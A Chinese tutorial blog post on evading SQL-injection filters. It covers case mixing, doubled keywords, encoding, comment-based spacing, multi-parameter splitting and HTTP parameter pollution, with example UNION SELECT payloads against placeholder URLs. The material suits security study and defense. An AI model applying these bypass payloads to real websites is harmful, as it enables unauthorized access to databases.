WEB渗透SQL注入【3】[SQL注入的绕过](8)

SQL注入的绕过

目录

SQL注入的绕过

1.大小写绕过

2.双写绕过

3.编码绕过

4.使用注释

5.多参数拆分

6.参数污染

7.注入到cookie


1.大小写绕过

       当我们访问如下URL的时候,提示“存在非法字符”:

               http://www.xxx.com/web/rg/1.php?id=1 order by 3

       可以尝试Order,同理如果其他字符必拦截,也可以大小写混合。

2.双写绕过

       当我们遇到关键字必过滤的时候,如我们访问如下URL:

               http://www.xxx.com/web/rg/1.php?id=1 order by 3

       过滤后变成:http://www.xxx.com/web/rg/1.php?id=1 by 3

      这里order必过滤了,可以尝试ororderder,同理如果其他关键字必过滤了,也可以双写绕过。

3.编码绕过

       我们可以尝试对URL进行编码,有的时候需要二次编码绕过。

4.使用注释

     主要使用其替换空格

             如:http://www.tianchi.com/web/rg/1.php?id=1 union select 1,2,3

    转换为:

            http://www.tianchi.com/web/rg/1.php?id=1/*ss*/union/*ss*/select/*ss*/1,2,3

5.多参数拆分

        如请求的URL:a=xxx&b=xxx

        SQL语句如下:a=xxx and b=xxx

        在注入上可以如下使用:a=union/*&b=*/select 1,2,3

                   最终的SQL语句:a=union/* and b=*/select 1,2,3

6.参数污染

        HTTP参数污染,指的是同一个参数多次出现,不同的中间件会解析为不同的结果

        以id=1&id=2为例,

        PHP/Apacche:以最后一次出现的参数值为准,id=2;

        IIS:所有参数值以逗号连接,id=1,2。

        Apache Tomcat:以第一次出现的值为准,id=1。

----------------------------------------------------------------------------------------------------------------------------------------

        在IIS下,假如我们想使用:id=1 union select 1,2,3

        可以转换为:id=1/*&id=*/union/*&id=*/select/*&id=*/1&id=2&id=3

        最终的SQL语句:id=1/*,*/union/*,*/select/*,*/1,2,3

7.注入到cookie

       针对于开发者只检测GET/POST,没有检测cookie。
 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值
>